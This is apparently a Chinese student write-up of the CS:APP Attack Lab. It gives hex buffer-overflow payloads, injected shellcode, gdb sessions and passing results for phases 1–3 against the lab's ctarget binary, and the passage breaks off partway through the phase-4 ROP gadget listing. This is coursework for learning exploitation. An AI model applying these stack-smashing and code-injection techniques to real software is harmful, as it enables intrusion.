phase_1
使用objdump -d ctarget > ctarget.dis
命令把可执行程序ctarget的反汇编代码保存到ctarget.dis文件里。再用vim打开ctarget.dis文件,从中得到下图。图中可知,函数touch1的起始地址在0x4017c0。
下图是getbuf的汇编代码,首先分配了40(0x28)个字节的栈空间。也就是说当输入字符串大于40个字节时会覆盖函数getbuf的返回地址。
建立exploit1.txt,具体内容如下图所示。需要注意的是采用小端字节排序。
输入命令cat exploit1.txt | ./hex2raw | ./ctarget -q
得到结果:
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00
phase_2
touch2的c语言代码如下,从中可知比较的是touch2的输入参数和cookie值是否一样。题目要求我们设计攻击代码是的val值为cookie值。
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
touch2的汇编代码如下所示。函数touch2的起始地址为0x4017ec。
实验phase_1告诉我们怎么通过栈溢出跳转到指定的无参数函数,phase_2则是在phase_1的基础上跳转到带参数的函数中。需要如下编写汇编代码,把cookie值传入到%rdi。
movq $0x59b997fa,%rdi /* 0x59b997fa是本次实验的cookie值 */
push $0x4017ec /* 把touch2的首地址压栈 */
ret /* 使用ret指令,把控制流跳转到函数touch2中 */
在shell中输入:
gcc -c jmp_touch2.s
objdump -d jmp_touch2.o > jmp_touch2.dis
jmp_touch2.dis文件内容:
根据 jmp_touch2.dis,可写出攻击代码,并保存为exploit2.txt 文件。
从上图知道攻击代码首地址为0x5561dc90,这个值需要gdb调式得到,具体命令如下。
(gdb) d
Delete all breakpoints? (y or n) Please answer y or n.
Delete all breakpoints? (y or n) y
(gdb) b test
Breakpoint 7 at 0x401968: file visible.c, line 90.
(gdb) r -q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/paul/csapp_homework/attacklab/ctarget -q
Cookie: 0x59b997fa
Breakpoint 7, test () at visible.c:90
90 in visible.c
(gdb) i f
Stack level 0, frame at 0x5561dcb8:
rip = 0x401968 in test (visible.c:90); saved rip 0x401f24
called by frame at 0x55685ff8
source language c.
Arglist at 0x5561dca8, args:
Locals at 0x5561dca8, Previous frame's sp is 0x5561dcb8
Saved registers:
rip at 0x5561dcb0
(gdb) p/x 0x5561dca8-24
$20 = 0x5561dc90
使用栈图可以进一步进行理解:
最后运行以下命令:
cat exploit2.txt | ./hex2raw | ./ctarget -q
结果有:
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 90 DC 61 55 00 00 00 00
phase_3
这关缓冲区溢出攻击,使得控制流指向函数touch3(输入是一字符串)。下面是代码:
touch3的输入参数是一个指针变量(即为内存地址),使用gdb调式得到这个地址量,具体操作如下所示。
其中详细解释见info frame含义解释。可知函数test输入参数所在的内存地址为0x5561dca8
在touch3函数中调用了hexmatch函数,这个函数的功能是匹配cookie和传进来的字符是否匹配。在本文中cookie的值是0x59b997fa,所以我们传进去的参数应该是"59b997fa",(即 35 39 62 39 39 37 66 61 00
)。s的位置是随机的,所以之前留在getbuf中的数据,则有可能被hexmatch所重写,所以放在getbuf中并不安全。为了安全起见,我们把字符串放在getbuf的父栈帧中,也就是test栈帧中。touch3起始地址为0x4018fa,模仿第二关的操作,先写出攻击代码的汇编:
movq $0x5561dca8,%rdi /* 指向字符串的首地址 */
push $0x4018fa /* touch3首地址 */
ret
结果:
$ cat exploit3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3(“59b997fa”)
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 90 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
touch_4
这关用ROP攻击touch2函数。实验要求只能使用movq 、popq、 ret、 nop
的gadget,和使用前八个x86-64寄存器(%rax–%rdi)来构建解决方案。实验进一步要求只在函数start_farm和mid_farm两者之间的范围内中找gadget。下面是包含本关所用gadget的汇编代码:
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019ae